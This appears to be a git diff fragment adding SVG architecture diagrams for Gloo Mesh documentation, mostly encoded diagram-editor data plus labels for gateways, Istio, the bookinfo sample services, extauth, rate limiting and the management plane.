mNCC8892UIDVd2Vx1MDAwM/Uwy2B4XHJcdTAwMDY4I8SelrpcdTAwMTDu0pLctLtVXHUwMDAwpVx1MDAwNVnttqk0NeUha0HPf4pk9mps0MtWWaLbe2i+hJPTXHUwMDFhioTJXbjkUE1/XHUwMDFhXHUwMDFiYMu0syTUlG9rU7zq0taXWcDLXHUwMDFjZI5pMyZAivz+xJbdXHUwMDE2Pl7Dkc8mS8RmVTROPbavc/Xcg+umkMWx8XxQXHJ2XHUwMDBlNs2+VzfFLVxuclx1MDAwMJF5epfpkrWyqbPqtuBJ/eZaoftDiT8zU9TT4DPKymTjbyz+/EfaXHUwMDA2s88whSO1XHUwMDEwwfNva6ScQ/phjKQ1T/lAiHLmU1S2V5N1XHUwMDBlxIxcdTAwMTVlWJiWY5S5paZwZZzEgLxcdTAwMDGwYFtPXHUwMDE021xidsNcdTAwMDanXHUwMDFjzFx1MDAxYVxi0TctTUc5MeyDXG4mrWel+6+t4qublDG+YFx1MDAwMmaCXHUwMDE2XHUwMDFhUamxW0tcdTAwMTdjZVx1MDAwMyBcdTAwMTFg92ui0WpD341cdTAwMDTfXHUwMDE2fd/neFx1MDAxMzNtqnuxSd1Y3ZMy7ek4XHUwMDA3SuGcXHUwMDAzXjpruedN+r/eXVwi+oPJPYW859NcdTAwMTJcdTAwMDTKkG0xXHLGf0R4MOVcdTAwMWUjXFxYJlx1MDAxME6VqWVVyz1mkLI0MUNxXHUwMDAwvVx1MDAwYuU9dnovuceYXHUwMDA1qFx1MDAxMUAlXHUwMDE4T3BHlzxuQ1x1MDAxZmCJXHUwMDAxqDNxXHUwMDFijFZyVY3zi0l2ytbDgVx1MDAxMHtcdTAwMWadWL3Kk/wq9fTSqcn3XHUwMDA0a4UrXHUwMDFl4FxupJ1cdTAwMTnJQbBJhsLKdbhcdTAwMDQgfpNQXHUwMDAz9iBSRO3YX2ubnu9cdTAwMDA1qMn2XHUwMDAwg1GBriUu7U41XHUwMDE40pxT01x1MDAxYcx4Nsl5i76QJ/mba4Xwt1x1MDAxNH2+vVx1MDAwNLhPJJhJQbTaplx1MDAwNvLqLaazl6/5XFytnW9/fHLeefl8PKWnf1x1MDAwM9THXHUwMDAx18E3xaDTzStebjhKqTVPXFwzna1MPzdP+bdPJ41NhjPappZ9Nc/gpvrGnjJ+Vt3Wi/F6qlZcdTAwMWNfxz+FrHfwsJNcdTAwMTRo8red9n+mM+6x7pGO92dZk1x1MDAxOKffPnPPzdyM4Fxc7CZ2lexN0f1cdTAwMDGe2XMqXHUwMDE36XdyOtX4XGbfxmPvw6fb2XCvddeNZ3Q/oMWyK0Lg2ONcdTAwMTmFLVx1MDAwMrXiiEBcbm3V3Mb/8Vx1MDAwN3Toh+mT6K+TtMVsOul4Uz82XHUwMDFk+1xyqIUhqdeWiZ1bgHhBKLtcZmi0zb9cYj/e/rs7qlxyp/am098w93tcclwi85nYXHUwMDAxO774veE94KXwhJeUalx1MDAwMTB/izzDXHUwMDBm9vKefCvGSaZcIlx1MDAxZTCXn7eZctAnfzNunEtUz4f0XHUwMDAwjlxcZmSTqI41YH5i+jDuXHUwMDE3LD8suITdgsFB2ZliSzZKNVx1MDAwN6FQY/xZo/ncO+5dtVx1MDAxZjzA2lx1MDAwZrbcft0jXHUwMDFk78+yx1uWhjo03ChGbkK6XkpcdTAwMTfDV4lJsXVcYlx1MDAxMqvnhtPZXHUwMDA0y+mzXG69iVx1MDAwMvooPESPXG5Z3Vx1MDAwZuiEkFV6e1GYxIhtVXPj//hcdTAwMDNcbllNXHUwMDFhla+iXHUwMDEzljiUojtcdTAwMDRiXHUwMDE1gqh597vgard/JmBdXHUwMDAz8lx1MDAwZVx1MDAwMFh9QuA+nSNcdTAwMTkm3FxmWNuYjf3FbUBDQZRpy8xcdTAwMTmgXHUwMDFjgT2nlrlYaFx1MDAwYoRcdTAwMTkx/UyNjXqcWJDSXHUwMDE2XHUwMDA2IYGJMK9cdTAwMTS5dI0kllx1MDAxNvA4qInEc64xXSmLwUibYs31XVV/okG2ILhcdTAwMTKIwqMzJe1ScJe4i6kmQdjUWFx1MDAwYoVcdTAwMTXfNf3Hl8cvnMEgiUx9iOk3p03DXHUwMDAz5bYpXCKxIMj0YTNcdTAwMWYhK7s6s2G7nlx1MDAxY2Cu0CrxL9b7y/5zh1g49XS9YYAxXHUwMDAyS765XHUwMDAw9MeFXHUwMDAxXHUwMDE1gIIwi3LBXHSwXHUwMDAyvK5cYkBqYUlcdJNw9FqT5Z1cdTAwMWQoXHUwMDE4juD5M4ZcdTAwMTUoJMFA57hcdTAwMTRcdTAwMGZji8HzYJwqbvpmMLSCcJhcdTAwMTmaRH/GbG4sbEyJv+mWTDAmkmsgXHUwMDAxl3A4fFxiXHUwMDEx2CA1jYPgM6uyZiNcdPiSXGJcdTAwMTUxv+lG+5VbmstOwyxcdTAwMWJvum/KnIVp28JcdTAwMDXWXHUwMDEyueUmmfglZ1xuIU2xJJSed/6jN/WbK7RK+Fx1MDAwN5N+XHUwMDFhe7fVR4zNs9u3aJ3gXHUwMDFiIVxupvhcdTAwMDP4Z/LcXHUwMDA0iFx1MDAwZVx0Qlx1MDAxMNOlMcOmLM400MHG4c+Z9Fx1MDAwZYbvXHUwMDA1XHUwMDAw4SZgNks2XHUwMDBmblPhlv5ccrxKqZn6R01Okr2E51x1MDAwYlx1MDAwMFx1MDAwMog1ier/dPnnXHUwMDFmXHUwMDAxcIIt0PF43tOFUEVcdLE3dVnkXHUwMDAzSY6QXHUwMDE0XHUwMDEyXHUwMDAz1pJa/Fx1MDAwMVx1MDAxZltcbsBqIfZx00zzQYWy58l9tfFcdTAwMWO9XHUwMDFjekFAXHUwMDEwfqCKJZ2nplO2mlx0KSzGXHUwMDAxuzBTtaJcdTAwMThcdTAwMWPhWUvAkCdcdTAwMDPM312l/cPhP5tJt5xcdTAwMGLJXHUwMDE4oY5auXVcdTAwMDLQP5RcdTAwMWRQXHUwMDAxXGJcdTAwMDdqmV7ocPia2yOrv+WfsDjgQoWU1Fx1MDAwNlx1MDAwNlx1MDAwNtdcdTAwMDDmyERkXHUwMDExXVfb+CP+XHUwMDE28E8jzSlTZpSlJtKt/lx1MDAwNbSj0IRcdTAwMDBcdTAwMGUzrzsmgW+Rl47NMEWETCNAZLqDrla/aMs0MZKYmUJAMElcdTAwMGWSXHT5XHUwMDFmbPz6hqtcdTAwMDX1ln9SmW56aItcXHDfkbJB9eObYLFcdTAwMDI+XHUwMDAwXHUwMDA0YF6XXHUwMDFh41x1MDAxMGpJY2yY9nvK9DrzXHUwMDE0gJs0aPVcdTAwMTKAYLRaxHYxt7beRFjaftlCXG5/klKkXHUwMDAySpL4hFwicJ9cYnb1Jfn51lxi599cdTAwMWXHkfpnktTJw9g+knhFo3+941x1MDAxZq870dT33bmS2vKfVob9mVx1MDAwNo6ab1GZW1x1MDAxOUz6ucGsluwqSZo0mX8qR+gusGQ5hnVMplSOXHUwMDFjZWeFXHUwMDA2XHUwMDE1eFOm3KAw97/KNVaulleZcsdcdTAwMTRlpilcXDzIgTY/ZtHXavg2XHUwMDBloau73GUtk36ohT5cdTAwMWWuf9JIXHUwMDBllUZypOM9+LLrMlx1MDAxMtxv+FxygtMrI4FcdTAwMTLPal7TzFhv58ryPc7AXCJcdTAwMTlN/ISmtMhmQnM5re5oObRgXZJA59udICNcdTAwMDEsqSHs7uLf3Vx1MDAwNtxwVvr41mSENVhhOVx1MDAxOeHPZv9sdVx1MDAwZsgjPItSXHUwMDAxXHUwMDBmU0bkXHUwMDE2mVxi/afHTOKlnqTZ13T7hn3W8uE7XHUwMDE5eMTDvZmXcVx1MDAxOVxcxMOxoJyqU1bf71x1MDAwM3gq+WlP44f7Wv75uk+excd1cdT+XHUwMDAxPIdcdTAwMDI8RzreIy2Lc92KqOSK5ddaPoLCsdQlmlx1MDAxZKLK6eDbXYfP3G94SnymvetuJTGDodRcdTAwMTZVTv7nXHUwMDE5XFyAhnxkvKCBXHUwMDAzaKbzlbJPvVxmnGQ/XHUwMDAxQquVRuNZbTQ+XHUwMDExRFtcdTAwMDNuliHa1273x2hcXHo7i7FcdTAwMTlcboq2MLFcdTAwMWGN3HOolCFjNri8iTSTXG5cdDZcdTAwMGU8XHUwMDA3M8wtXHJ2XHUwMDBiZfNX56hcdTAwMDVKmKW4XHUwMDEyXFyamVx1MDAxOVx1MDAxNPklfVx1MDAwN8FZXGaPjFx1MDAwNrmA0U+hXHUwMDFly1ecb+m7VLmQ4HxYqHw8xlAxUUtcdTAwMWVg3Zfyk7pcdTAwMWV30bCCov3nXHUwMDAxYpVUu1x1MDAxN2RcdTAwMWY0k96jkDmQt7K34F9byNgpJFXvPf8ye41H3iaEpO/zL1x1MDAwMTfIXHUwMDE4lZbplyvN1CXkzFx1MDAwYqLmvc04fVx1MDAxM3uMXHUwMDEwVa655UXuZo+ZNCZ2tj0yXHUwMDFlX1xuQkWeQ5VYLKFvZI3Ei+XCjz12KHvsSMd7Lsuus5vcb/hccsLYy25i3vNTXHQyczBcdTAwMTTZwm7yP8/Aoi5GvEWx6aK3mSg+itlEVpBcdTAwMTVcdTAwMThNXFxxk4lcdTAwMWVcXFx1MDAwMXxcbrPpfVxcmoyb9uP/spVs8e7tbKVxz/Ytl1x1MDAwYuv8QceKofR7f7tDJo68J9FcdTAwMDFkXHUwMDEyXHUwMDEyadtxrWPVbJnWk+L1Jlx1MDAxNVx1MDAxNr3Xj/zj9Wfj4TnwmElZ2tPBIXVwQZPpOCowUupM7aF2rDBcdTAwMWRcdTAwMTU/K4l0r929bNPkTabY/EFNh0JNRzref/iy68CY+1xyT1xixuwzXHUwMDAwliW8qVdCjrq0dVx1MDAxMt7/PINcdTAwMGLGqI+M1zJgaFxmM4q1XHUwMDE5XHUwMDA2XHUwMDE3YHP4XHUwMDA0aGxcYre5aLc6rbFHu4OdIdlcdTAwMWH39Vx1MDAxYVizjMpcdTAwMWP73Fx1MDAxZJox5Vx1MDAxOX1cIphcdTAwMTFT+7W5XHUwMDExdX+TVlc10i6Ey8BLJFsr9ydBT6hkVHiaUFxmXHUwMDA1XHUwMDE4mFx1MDAxMcTNWFJ7cDBw/OunNFx1MDAxZifJoe5kY09FWWzd91ufuSnxQCQ/wGxcdTAwMDd31nGO92fZYyy71vnmesNT4j3u3Vx1MDAxZlx1MDAwN2GlXHUwMDE5QVvgPf/zXGYu3sPemoNcdTAwMDRcdTAwMGXuXHUwMDEx43qjOMg1MKeAe7WqbT7jd+C8NSBpXHUwMDA15803uFx1MDAxM5Pa6+VX3G7zuVxuaItQZa45elaDWv82XHUwMDE0enq4XHUwMDFkvGfep7eH7WJwhCl2SFpIcVx1MDAwNDKJgFx1MDAwNbZUw4aptDjYatp8glx1MDAxYlx1MDAwNvFk0k3SXHUwMDEyvOBcdTAwMWShLl1b5EqbXHUwMDAyXG64XHUwMDBmmSHTp+PPdWW6fjrxRHF8V+5Xjt/6cH+j3euFOrVRM1SqVnvd0b+73Vx1MDAxMvxcdTAwMTNIrOYqXHUwMDEzxK6pSz7ueMe3WOZ+v1xy+spcdTAwMDTPyn5JPH3xXHUwMDA0XHSiTCfmzX3x/k89oEJBMUtcYlx1MDAwNoTFmFx1MDAxOZDmkFx0XHUwMDA0c1x1MDAwYisplDbjSn362u0jXHUwMDExMKFcdTAwMTYnUnLTWYNw5TKyWFx1MDAwYlx1MDAwYpnmXHUwMDAzWlPGsdAr5p8kSpsy9Vx1MDAwMIuLb6nq91dLXHUwMDE3S+OEKGFcbl6VqVxidlx1MDAxNJT/rqHnljAj88C05srMnt1xxpF/XHUwMDBln3NTXGbQMiZcdTAwMDKZSUdcdTAwMTQvJq1+7Vx0U0tcdTAwMTBcdTAwMDDcSjJQXHUwMDEwXHUwMDAwJVd77Z1VT1x1MDAxM0/qN9dcbt0vlvvL/nNruWdnoVx1MDAxNVx1MDAwZjXjXG7xbdKs7/OlfCiee43etuRjd1i7XHUwMDEz0UEj4HKPa21RLVx1MDAxMdFaXHUwMDEwjJaGu1x1MDAxMU0sSoHwwUJg0qeaf4P2815yj1OLmHahnJvuZJwunsiim1x1MDAxZFx1MDAxNlx1MDAxNiOUXG4pqeaCrsYjiTIxY6xO6LZcdTAwMGXIoHUv6XODa6T1KFJcdTAwMTXOR1FcdTAwMWEtZKPxaddN+iCLXHUwMDEyrJRcdTAwMDSaME9cdTAwMWRcdTAwMWX+aqNPoiyt4amBfDJccqzpQVpqnk74eJLg/N1cdTAwMTXq21L6rJmA4ZNcdTAwMDWB2FxcOW2OvN77d/fhUK7zeFnrkkp+kEHxNlx0tlx1MDAwNFx1MDAwMjjlN8zGdC9A835K2owgJj5J4t8/X43IwI+1+bqHi3VcdTAwMTa/eyjnUslxvpFcdTAwMWHg57fn5nBa/smCOJiz/UjHe17LXHUwMDFla1x1MDAxMNrBt7vO2+5+w8WyK8x69Dlo1LtE0HiMtmtH6n+eXHUwMDAx9baD7vBcdTAwMWLOSaWy+KF0x0Hc7ZQxY0n+ZFf8ovDf/qxub1x1MDAxY2p151x1MDAxZa1vdbqvQUvLbjf7NndcdTAwMDd8VFx1MDAxMC+2NS3VXHUwMDE0XHUwMDEzdPPWXHK3rPSW0umXpm7nRKae6ryn3nWwcyvmeI8uXCJk2MGyZkxcZpj/XHUwMDAwelx1MDAwMfhx7d1Ac5PUisOiPUkwpVJcdTAwMDc5VOaLylKTbPejUWatcq5RqPfGd7dcdTAwMTl8XHUwMDAwsHekZY+EIZORabh+rZOvXHSEpuGnfEXG1excdTAwMDDr9q/xZXake+nyZ5KxzGW5XHUwMDFmr3mMkd1q3TN7aodedlx1MDAxZChzv+FcdEFcdTAwMTlAXHUwMDBlT1AmkFx1MDAxMFx1MDAxYVx1MDAxMMDmKVx1MDAxMP7nXHUwMDE5ZFDmLeAltdCBXHUwMDA0/CEgXHUwMDE5Q4QpzNRP9dGFXHKRnVx1MDAwMo2twTKrzbQ2QGKeZYLIM1x0glx1MDAxMlx01KC2mDt7815Hg1x1MDAxMU8/p1x1MDAxYo33yeVcdTAwMTO+epmFXHUwMDAy7nRjSFlKXHRgQEZcdTAwMDTnytmaXHUwMDAx7Fx1MDAxNEtoxLmJhlKTXG7hbTntXHUwMDEz8WQuwGs1XHUwMDA3gpiBXHUwMDFlXGZcdTAwMTNcdTAwMTngXuW+mGPygFx1MDAxMtVKhXfJM6o13sOZVu15M2ywj/5ylVx1MDAwMFx1MDAxYidBNMfjfrnVXHJcXO6Dy758JYBn6E95l1x1MDAxZlx1MDAxMkRcdTAwMTTGcovqQ/9HXHUwMDFjUFx1MDAxMcCQZfKfXHUwMDA0XHUwMDE4NVx1MDAxYVx1MDAwNOKCXHUwMDE3f6U8/Ir8MVx1MDAwMbhcdTAwMDUrZDN7XHUwMDBlKlx1MDAwMpBcdTAwMTlVT7QgXHUwMDE0rCtOlEtWlFKWNkOVXGJcdTAwMThfILH06jA/IUyCykmndVx1MDAwNlwi7cFfXHUwMDEzXSylPVxiXGaEzrAgXHUwMDE4U7VcYu5euKc9XHUwMDEw8WeS0pZpXHUwMDBmLHVXSKSbXHUwMDFmtZsnUVxiv7avpome6ywr2JSAu1xiM1qQUlxyXHUwMDAwcjXtgVx1MDAwMM1qQlx1MDAwMNwhLblE9MxHuXjTv7lWKH+x3l/2n1tcdTAwMGI/7N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg b/gloo-mesh/platform/2-5/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg new file mode 100644 index 0000000000..cc2b6a67cf --- /dev/null +++ b/gloo-mesh/platform/2-5/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVMqybfve39cbqPP6986OVx1MDAwZvdNRSZFRVTU2zdcYmZQJlx1MDAxOUQ4cb77XclcdTAwMWUsqMqimKTobfVcdTAwMGVspchKMtfwWyvX8D9/XHUwMDFkXHUwMDFk/T2c9Kp//5+jv6tcdTAwMWblYqtZ6Vx1MDAxN8d//8f8/b3aXHUwMDFmNLtcdTAwMWR4i8x+XHUwMDFmdEf98uzOxnDYXHUwMDFi/J///u9ir+d8fsopd9s/PlltVdvVznBcdTAwMDD3/l/4/ejof2avrmf1q+VhsVNvVWdcdTAwMWaYvfX5OCn44l+vup3Zo1x1MDAxOdJcXEuu8e9cdTAwMWKag1x1MDAxODxuWK3Au7Via1D9fMf86e9pq1V+aMbq96X286SeL2dTd5Pbz6fWmq1Wbjhp/fhexXJj1HfNaTDsd1+r+WZl2ID38cLff39u0IVcdTAwMTX4/FS/O6o3OtWB+f7o91+7vWK5OZyYcdDnX38sgvu+XHUwMDBm+E1cdMZcdTAwMWONidCKmVf2+13zeUKUcCiiXHUwMDE4XHUwMDExTDWVi/M667a6fTOv/2KaIy4/Z1Yqll/rML1O5fNcdTAwMWVcdTAwMTitVFx1MDAxNZ/3jH9+W0KIg1x1MDAxOVFcXM5ehfrclEa1WW9cZs09XG47v26YvdLPqVRnW4I1Ulxuw7/fb5jn91KVT+KY/VWNy6+N2GXtXHUwMDBl0cdcdTAwMTOVzTyKflv8/fP9/7e48I1iv/dzgf+efVx1MDAxZNdXNL+eL1x1MDAxMqCbXGJdxJErvVckPn5u9586p9c3pDrqXHUwMDE0XHUwMDFlf481R7HFfr87/vv3O//7n6Bx31tF9lFLUn42uKZcdTAwMWaj51x1MDAxM1JIlMON6/nKo16l+IO8sWBKwZJLzJH+/X6r2XmFNzujVusv18xWYznFrCyHgYZcdTAwMTTHQtLQPFx1MDAxNyek/1SOXHUwMDE1ZeHqcaJO38+HhVT263hcdTAwMGWvyXOcOlx1MDAxOLhKMmFe6TzPwV9cdTAwMWMqXHUwMDA1YpwzxTViVqZDStZ4KZjpMCkp5cd0SDnEdTHhw3REONp9MVx1MDAwZtNcdTAwMDHHYSwoVTvjuoH5ZU2uu7+7XHUwMDFijDKlartxU8qPaHY0vjn+2Fx1MDAwMtddXHJOTq+fr3LxSvWCXGZFgeBEu1x1MDAxZmmuc23QXHUwMDAy11x1MDAxMc5cdTAwMDVXmvLQTDesnEx6qv1y3v84T+fKr7XJNItcIs90SiEgZoJcdTAwMDRl8MrFPNNcdTAwMTlFx7VcIkJKiVx1MDAxNCbcynSbaDpMXGKa4yjlw3TKy2VIXHUwMDFh0ShcdTAwMTWJpG57eMueXHUwMDE3842nTCpX71xu9YEmhZfpXHUwMDE2uOxRkHr6vplBqsin5TNCmrhcdTAwMWaLNJdcdGbjMsxcdTAwMDC1IK2lXGbNZuI9XWu8XHUwMDE2X87O+Vx1MDAxOSmWT1tvzYyKOptp0Fx1MDAwNy42XHUwMDEzXHUwMDBieJJiXHUwMDFkks32r9uIlEJLgnbHdHtSbfthXHUwMDBl6VrIXHUwMDA15lx1MDAwMFxypFxiVzi8XG5qVS7Ob+OZu+Nqp9mf3p/HxE1cdTAwMTNHnjc40Vx1MDAwZehaSVx1MDAxMYZXouZ5g1xi5KBwvDG7XHUwMDAyeWPYL3ZcdTAwMDa9Ylx1MDAxZkjJy1x1MDAxZkrLedr3slx1MDAwN1CBI1xcXHUwMDE3X+RcdTAwMGVMlERCXHUwMDEzsTPu2EQlqWx1nHkvXHUwMDE2Plx1MDAxYcNW6WOKSmxwXHUwMDFiUnVcdTAwMDSqpOvTkVx1MDAxOI/x6fRMTotcdTAwMWbJc5o+jie3MO5cdTAwMDbm4X64mWNt42awXHUwMDA2uJRMh9d0qll8LFx1MDAxNdqvt92p6jy8JZR8XHUwMDFkXHUwMDFlR52bXHUwMDE1VzxcdTAwMWHcrOhybsZcdTAwMWX+ZVhRYOL9QcqvXHUwMDA2Z1jaKFx1MDAxNmPEJFx1MDAxMW6aXqqAqtlLfPd6fZtO9cmAXFwk8qnGNPIkq5F0mNVcdTAwMDaimFx1MDAxZlxmOMNcdTAwMWP+SLn+s/xcdTAwMGVcdTAwMDenJlx1MDAwNLNaREBcdTAwMDdcdTAwMTI0XHUwMDA1XHUwMDE24T3syXrj4n2i2PTtZlxcfSrnS/l+f1x1MDAxMH1cdTAwMGY7+aEnNMaaKrVgXHUwMDExXHREXHUwMDFjhqhkoEKkYnZn30Z+XHUwMDA3KdhcdTAwMWNDUS/PUZfi+MlkjFKJXHUwMDE42yGTbYLxLtJcdTAwMTfpp9MzWXj5eH7pZc4mfcHOo8xcZpxcbiszYCwl11KEXHUwMDA3Te9cdTAwMGZx+TS5wtd3V1x1MDAxN723k5SmZHpcdTAwMTZ1XHKkgVx1MDAwZlx1MDAwMkCTXHUwMDAwXHUwMDAzKSRo2kBcdTAwMDNJhJZcdTAwMDEmTLyASUht9Fx1MDAxNWc744Y/ylx1MDAxZiCw/SBIXHUwMDAxXHUwMDE2Q0iuoFx1MDAxYc7jz3Gg/5PUWZyd3j1+PCBy8XBcdTAwMDDcoFx1MDAwMrhBXG7qmFNoplx1MDAxOFx1MDAwNfWwM2bwwV+A0ZD78py2aiExXHUwMDAxOFx1MDAxOU1meOvg12kxPUgm8yX0mG/cpt7Oe1FmXHUwMDA2zq2qXHUwMDAxU4JcdTAwMTXXmIRXXHK4mEyfXsXY9VmlmlwiLzTHemcxXHUwMDBiMyxcdTAwMTD1PCssopFcdTAwMWSyXHUwMDAyQSyAXHUwMDE1KJchTVx1MDAxM4BbVV1cdTAwMGXmhVKVlSolXHUwMDFmmFx1MDAwNCjJQva/WYN7UFx1MDAxMmaII4l3aElvwlxupfNk6q72kutc